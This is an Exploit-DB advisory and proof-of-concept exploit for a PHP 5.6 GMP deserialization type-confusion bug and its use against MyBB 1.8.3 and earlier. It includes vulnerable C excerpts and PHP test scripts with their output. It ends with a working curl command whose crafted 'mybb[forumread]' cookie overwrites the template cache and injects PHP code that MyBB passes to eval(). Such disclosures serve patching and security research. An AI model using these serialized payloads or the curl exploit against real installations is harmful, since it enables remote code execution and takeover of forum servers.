MyBB < 1.8.3 (with PHP 5.6 < 5.6.11) - Remote Code Execution

EDB-ID:

41150

CVE:

N/A


Platform:

PHP

Published:

2017-01-20

#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20

> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.30

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	...
	ALLOC_INIT_ZVAL(zv_ptr);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}

	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
		zend_hash_copy(
			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
		);
	}
```

zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
	zend_object *zobj;
	zobj = Z_OBJ_P(object);
	if (!zobj->properties) {
		rebuild_object_properties(zobj);
	}
	return zobj->properties;
}
```

It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.

The following codes will prove this vulnerability:
```
<?php

class obj
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 1;
	}
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);

?>
```

Expected result:
```
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
```

Actual result:
```
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}
```

**i) How to exploited this bug in real world?**

When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():

```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;
```

The following codes will prove this exploite way:
```
<?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?>
```
Of course, a crafted __wakeup() can also be exploited, ex:

```
<?php

function __wakeup()
{
    $this->ryat = (int) $this->ryat;
}

?>
```

**ii) Can be exploited this bug in real app?**

Exploited the bug in MyBB:

index.php
```
	if(isset($mybb->cookies['mybb']['forumread']))
	{
		$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
	}
```

MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)

**P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.**

Proof of Concept Exploit
------------
**MyBB <= 1.8.3 RCE vulnerability**

index.php
```
eval('$index = "'.$templates->get('index').'";');
```

MyBB always use eval() function in during template parsing.

inc/class_templates.php
```
class templates
{
	...
	public $cache = array();
	...
	function get($title, $eslashes=1, $htmlcomments=1)
	{
		global $db, $theme, $mybb;
		...
		$template = $this->cache[$title];
		...
		return $template;
	}
```

If we can control the `$cache`, we will be albe to inject PHP code via eval() function.

inc/init.php
```
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
	case "sqlite":
		$db = new DB_SQLite;
		break;
	case "pgsql":
		$db = new DB_PgSQL;
		break;
	case "mysqli":
		$db = new DB_MySQLi;
		break;
	default:
		$db = new DB_MySQL;
}
...
$templates = new templates;
```

The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.

When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:
```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
```